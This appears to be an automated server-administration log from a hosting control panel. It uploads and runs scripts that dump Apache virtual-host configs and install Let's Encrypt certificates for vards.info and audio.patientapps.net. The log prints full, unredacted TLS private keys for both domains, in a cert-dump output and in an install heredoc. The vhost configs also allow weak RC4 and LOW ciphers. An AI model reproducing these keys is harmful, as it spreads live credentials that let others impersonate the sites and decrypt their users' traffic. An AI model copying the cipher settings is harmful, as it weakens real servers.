port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-26 06:01:16:
PUT: /tmp/pkp629669
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/vards_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-26 06:01:16:
chmod 755 /tmp/pkp629669; /tmp/pkp629669; rm /tmp/pkp629669
2025-09-26 06:01:16:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vards_www_info.conf 1329
<VirtualHost *:80>
ServerName vards.info
ServerAlias www.vards.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/vards_www
<Directory /var/www/vards_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/vards/www_access.log combined
ErrorLog /var/log/apache2/vards/www_error.log
SetEnv pkp_uid 57
SetEnv pkp_owner vards
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName vards.info
ServerAlias www.vards.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt
DocumentRoot /var/www/vards_www
<Directory /var/www/vards_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/vards/www_secure_access.log combined
ErrorLog /var/log/apache2/vards/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-26 06:01:16:
PUT: /tmp/pkp156629
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-26 06:01:16:
chmod 755 /tmp/pkp156629; /tmp/pkp156629; rm /tmp/pkp156629
2025-09-26 06:01:16:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt 5356
6d:c6:49:9b:36:03:7a:5b:f9:65:45:7a:46:2d:62:d1
-----BEGIN CERTIFICATE-----
MIIE/zCCA+egAwIBAgISBaTUO9ygmrR6huWd3oluOB4iMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTI2MDUwMjQ0WhcNMjUxMjI1MDUwMjQzWjAVMRMwEQYDVQQD
Ewp2YXJkcy5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtRey
Nrz6HgLBnG+roLIuDJQiPm6SJ5bblRJxfUFjdiEPhqwqrb0uyh0XCNXEni+fEorX
7plhP6DPB/aMmlsFOQ/tU+/oRnqCs66lIATQ+HwlMg36tA1/3rkAKHsSpKCMlPfE
uI97C+ERV794vqQZP9Xdv/T5hp2WcQFsTK/YFruwN+5M17MoHY2DCLBxwKdum0/9
0PekK7yPVFIP4mT8p8snPA/4TujLkimZYdCGjQqu3SSs8ZBPZt5Ip99e1PAh6uFm
uLZdobjVyCYGYUAyMQ6GDsQmfrAjPvsAP+e3fYJvJR1RUcDUVW/sOUsdmtk0Iko9
pgiUCmu6dNQGy3C/YQIDAQABo4ICKTCCAiUwDgYDVR0PAQH/BAQDAgWgMB0GA1Ud
JQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1UdDgQW
BBTIWja7YcZYHg/4ln9f0ruUEYx+QTAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jI
soQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMu
aS5sZW5jci5vcmcvMCUGA1UdEQQeMByCCnZhcmRzLmluZm+CDnd3dy52YXJkcy5p
bmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6
Ly9yMTMuYy5sZW5jci5vcmcvMzUuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDv
AHYAzPsPaoVxCWX+lZtTzumyfCLphVwNl422qX5UwP5MDbAAAAGZhJyFsAAABAMA
RzBFAiB8QHiamkS1FqN5oIA0kNl6WCbjAydJX85dx9cN5QqyJgIhAIInSgCrKloy
veUe4KzoHb1GcCkEAN9cXTd+CwpKN58IAHUAEvFONL1TckyEBhnDjz96E/jntWKH
iJxtMAWE6+WGJjoAAAGZhJyFnwAABAMARjBEAiAKxEb+V/uTzVvvl472RxdxkwN+
pNzhYM3bqFb3HcbNrgIgdRq/n/oFWyMWcCRtoMekYA0sgUscZwg4A24TerOfjggw
DQYJKoZIhvcNAQELBQADggEBAJe4VAaZwawnWa8T3YFWPGwwN2sY+KRuDfEQAKgi
Gl0tHI8MEBdUeMs9ZG/BGRR1dgW3anZainEAudd2xZHURSjLinEBrFTpjlo73Xei
gte0K5BjwdAd2sUOFTJjEsAARVejq23Fkh9DxBD3nII0rhfht9MICrwE5gP4l9CQ
qKD+Ov/cEb8FqsRIpdsoWqZHqbwXfNXKqcCTRgC2dQYfiVrF0Is+IRGehZD5iAdV
nfnJOL8vHQu9nCzb5ZYULFzPEcDXlOxh10VF5h4OWNLioi2noBkn3ah9hJq1QNMl
SpOrGxCF+V8eOkacgtDWtZIhbp2q6jEE1kkmpRHvcRlZ2mY=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC1F7I2vPoeAsGc
b6ugsi4MlCI+bpInltuVEnF9QWN2IQ+GrCqtvS7KHRcI1cSeL58SitfumWE/oM8H
9oyaWwU5D+1T7+hGeoKzrqUgBND4fCUyDfq0DX/euQAoexKkoIyU98S4j3sL4RFX
v3i+pBk/1d2/9PmGnZZxAWxMr9gWu7A37kzXsygdjYMIsHHAp26bT/3Q96QrvI9U
Ug/iZPynyyc8D/hO6MuSKZlh0IaNCq7dJKzxkE9m3kin317U8CHq4Wa4tl2huNXI
JgZhQDIxDoYOxCZ+sCM++wA/57d9gm8lHVFRwNRVb+w5Sx2a2TQiSj2mCJQKa7p0
1AbLcL9hAgMBAAECggEBAJ15s7HB98ZtIywEN70P9NdfYb/kqxfeKaiiVypS2Ej7
SuMTiDF5F90OGt/F9KqSQsP/FPMZUeXg0ufb0DzR9eK/JOQe9V+EXXAe6NzFE2th
mX7DhUVZj96ABdEt5PJf4qAQLXNI4flciJZDnJ47WPGX6rNoNiyHkTFHyYOOTlzE
91pbs9bu197RnvbFRZSFSihDPHyKIxzrLuP8kqJU2TxbsGbNVlkCzBCJBrn3UOWY
BzkQSRkxJxQHiRWdk6nd9RV1ZcgBSi1/6wR0HpVm3760ilnWFfxmLNYTKWVX3Brb
/dME+Sk1dcDE9wFbpdJrUCniUrm+oMF34wCVUdPhnqECgYEA2y3VDh4s+UIBcQLS
++sRMSuYnbmo4TR6MaE0m2dMYfVhY3fvO6aSmqO0cpNlkz9Uljs0ccD9OF4KfW90
Ml6s1pUR0OKhiMePeSWa1pUPSCW0oBsTcF28JW8iv09XWT3jVKPSyldjxXD0lBVc
NT95QCFGWskhz9hUNPHWs80QTyUCgYEA04Pj8R4mtxDn1ZOa565QUr1StwM3cMsM
KD+XgBM+NqCaRmsv5+MdM1nm2QuJNGpt2hlLIYQGr7HgiYPWLT7+q4MLFweBt5Qj
vEuVB08Jdc+R9DCeNtBWsYcAkUEy78usUzCTMsLGyXQyNx0Vn581SQzoaQe2l32e
JSfj1/hMCI0CgYAZFSmor/NdoxwfHr+ebMxO4Dpa8oBNJYBGZbhrgGrRWw+GHpeW
L/3fDJT997hMHZdEign6aqeP59Mzf6nAie0lsXGUghsSWCQnLRKHNA/HpekB2Zdj
6JY7gnhrhFzurZJygT0CQvX8Bm029SrUPStXF3fBs/rWml8on/R+Jx2SsQKBgCPK
w72/jmmYEMMRcTsXQjxeESsq/iy2D16YNDjWCMcRskmMRdUFl6Fi6y97RkJ6aBBq
C06mmsMMZKSgjJOnf0zipfPFr2uzQ8DPQW61LzKiZ15dA8jexGzSHYR29fmiC40g
QShr0Vuxr/WnlEsok8nCx2lOhtVnymUbNPEM8UDZAoGBALdSWbLd3ZW/wt9wqn2e
pt//NlNnxvHLTQZOaWJ+yq93ebyP2OzkHAee8/sMrXgHd5gu8A5V8Zapi8eh3Kls
ZFfMZt1hqRvJsFVA/0JtE71n7ucO5Uk51Qh7704xkuAmKoPhYPSR/pwmp0L0Im6/
mhZUQ8+7uZ6/KDGRCFhGjQgC
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-09-26 06:01:16: Establishing a connection
2025-09-26 06:01:16: Establishing a connection
2025-09-26 06:01:16:
PUT: /tmp/pkp209610
#!/bin/bash
if [ -d "/var/www/patientapps_audio/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-26 06:01:17:
chmod 755 /tmp/pkp209610; /tmp/pkp209610; rm /tmp/pkp209610
2025-09-26 06:01:17:
0
2025-09-26 06:01:42: Establishing a connection
2025-09-26 06:01:42:
PUT: /tmp/pkp412702
#!/bin/bash
temp_file=$(mktemp)
TARGET=40d152ed4fc15024fe57db1999e289aa.crt
cat > $temp_file <<'endmsg'
89:44:52:ed:da:bd:11:8a:24:82:9b:83:05:de:42:90
-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBX2krgFoAbKPivZmUNZNvmKqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI2MDUwMzExWhcNMjUxMjI1MDUwMzEwWjAgMR4wHAYDVQQD
ExVhdWRpby5wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC4lXjUDepryOMcatxWcWiAtSk8WVB9mJ3ASAVECZC5xKi6z6hBwDoY
elZGUyt0nQcLh8CqxbZyDgFvXfdTeegCDUOfDRPfzV2M+k6RZqnNdFJzmAAEf7g/
x55B85qD4mhYVmyjCVwsbeRQ0S1xrNgkTC2NuQ1CMFLucb7Co0mxrIfObtDxx5d9
1ZwOm4mmET3+X7TmZkIsv6IzVhXZmxuD0ECvMKkEJU97+JAgKg4n4UWt0ZRNAThP
n+W/TB18RrjQaai3tQ+DBbv6aa9G0Cxc+mCm6TQ8y1107Fxt6+JvHIWcfIE2DQmd
1zxtCBPLEA/Xmqz6tqgZ5RyeIb44MNntAgMBAAGjggImMIICIjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFLwQtA19Fa8BNX27RoxxduFh/sKEMB8GA1UdIwQYMBaAFAC1
KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVYXVkaW8ucGF0aWVu
dGFwcHMubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNDMuY3JsMIIBBQYKKwYBBAHWeQIEAgSB
9gSB8wDxAHYAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZhJzw
zwAABAMARzBFAiAwtKtRjFqxKgWQc03RYnYgQymrtH1UiTKA8tpt3ihPygIhAJDf
IcyS+7iP1uCMec5f34d1r/nIdUQ/LEzAlSxJaO8yAHcAGYbUxyiqb/66A294Kk0B
karOLXIxD67OXXBBLSVMx9QAAAGZhJzw1AAABAMASDBGAiEAr0rIn9FToQX0aKGt
D8HLuZLxcLnDBy0mWy6JzfpObkACIQDM1PWSN7uuCeXD1CRdKygIMq2DFKNWnd+e
u3IWl4xwFzANBgkqhkiG9w0BAQsFAAOCAQEAmMdkzr+YYxeWK/IU/J7trOK0cf1G
WVjwaBF5Fjmde34UCfSPobX5VsYSYp76uEbMPmHcsWMoywEsseEO2mR37KHmAJ4i
uzaltCjW3eojUW4+sFex8DDPFYdTj02XI+619xnbtLxNWuR9PdyAC4/Qc9u9pPQw
iUUuiFZ4HaQZQH4fnucXRAtw2kvUxnhvPWkqTJBELZzshg7y+WgYRFNkq2WanHlo
fl7/5aDgP431M9XfDbGoV7E3tMCtVDHm4AWtd9oKM1Eq/OnNWX+KAvBV4T0zlC+S
f+pxtXLAnfIBAPp6RdaYFEQx04dZ6pL+xXezy1tMhZ3RJjDL7U32pu3dCw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC4lXjUDepryOMc
atxWcWiAtSk8WVB9mJ3ASAVECZC5xKi6z6hBwDoYelZGUyt0nQcLh8CqxbZyDgFv
XfdTeegCDUOfDRPfzV2M+k6RZqnNdFJzmAAEf7g/x55B85qD4mhYVmyjCVwsbeRQ
0S1xrNgkTC2NuQ1CMFLucb7Co0mxrIfObtDxx5d91ZwOm4mmET3+X7TmZkIsv6Iz
VhXZmxuD0ECvMKkEJU97+JAgKg4n4UWt0ZRNAThPn+W/TB18RrjQaai3tQ+DBbv6
aa9G0Cxc+mCm6TQ8y1107Fxt6+JvHIWcfIE2DQmd1zxtCBPLEA/Xmqz6tqgZ5Rye
Ib44MNntAgMBAAECggEBAKs5rN45Em5t6Y+g6Uge56wNYXUj/PClNCD8LjZRETni
Xgr9Or3TjZDLW2DdIgCI8dIWWfmQcpAWweoHJrj+6uOMXmAah4ciQFfYki17KKT3
9MxaAhoqSEaR7BKN4ZXZ3qWjdh8/PYvRXOxDPn6msdHqAI/pS41MuoGKbkSrqF7x
c6j+iokO+OjnsijzyVfkbrc471VXGf9G6wj8RXCOmxMnEaPN9xJjBww26ylS8+DN
Gw2XeHSN7MA7GtpQEiF74dS1A47wJigRvQ6A6R7v8ORi9DWWGiba6HDDmo16S/Ex
WHDueOC1gHMOpTS276BlzoRucY6l3MHFTHHKFN5oLIECgYEA3K3eADUc3qbtC0bM
6ZWKhcI9uTDbnQ+MDGEpTUFCMnf/uxnUkOJ2WLnFZ4Ump7iuoDOm0LSiKyVJ/pOz
aBogdO15+GHyl3Tfl4xvQqV2nOezF1bsB7t6qaCpRJZ919Ahl0CofzN2//SWr48o
m4PPtdGXV4kZWvpGT3a91pc9lTECgYEA1iCh2K41ZZtFQr+/Y4mvNaNgypMgwEGW
rymwjPKlhHB459Z/Cpibw67dA4gHpetodn0ULSWFPTp49XB995keelKzFXTuJg8T
amxAeqlp3amP6giNoImuoFNQfscUU1rEFLX2txnUMd1nfe/4kMwXlfx+A/DN324W
NuCrYxDy0X0CgYAxujw8b7uBsLvZvqqOOFRur8aY5JmYWtiEMaDM99ei58eIsdlk
jKN+et4w5aBASy2OjBUbEpk4f76cz0uuObT2pEzH28p+tqdrzwmDSyXfVZbVu5CU
bXrGnp2GByN0bkIjgz5063P1WXhbNzc/VASKRCCGaS59gcg2P9unb41BAQKBgQCS
v+yL5uDbkO2H0IgnfK4isaTdULYqbQkLZSQFhSqguMB0C1In/e0K0GXSTMEJGmwO
gKx6QHOvQcqyU3VRYpQ7uz/W3bt1Q/HHhwctybuvWc0y1MfTlWijolXRfTjV46fs
lcTPOhluT1HlQrh07BriBRiMNNWzYexBkfqDu5LetQKBgERJY+29pttLDldwLRuj
+kKmB3E27oZhDAHTkwJ1tAaGuTo9YSXpEAyFPbO0frmCO5KVwhoFKuyqeMURkawa
pLdwCNDKpaqqw42oaiT0V1nXJPHTxqcwqyLnRY53FYNCqSAITIZeVGjOy3qvtzrf
w+F7pbNr6zsD7r2xAxWcZf5V
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-26 06:01:42:
chmod 755 /tmp/pkp412702; /tmp/pkp412702; rm /tmp/pkp412702
2025-09-26 06:01:42:
dir=/etc/ssl/certs
2025-09-26 06:01:42:
PUT: /tmp/pkp517799
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientapps_audio_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-26 06:01:42:
chmod 755 /tmp/pkp517799; /tmp/pkp517799; rm /tmp/pkp517799
2025-09-26 06:01:42:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_audio_net.conf 45
<VirtualHost *:80>
ServerName audio.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_audio
<Directory /var/www/patientapps_audio>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/audio_access.log combined
ErrorLog /var/log/apache2/patientapps/audio_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.3-sii.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName audio.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt
DocumentRoot /var/www/patientapps_audio
<Directory /var/www/patientapps_audio>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/audio_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/audio_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
2025-09-26 06:01:42:
PUT: /tmp/pkp698982
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_audio_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_audio_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName audio.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_audio
<Directory /var/www/patientapps_audio>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/audio_access.log combined
ErrorLog /var/log/apache2/patientapps/audio_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.3-sii.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName audio.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt
DocumentRoot /var/www/patientapps_audio
<Directory /var/www/patientapps_audio>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/audio_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/audio_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
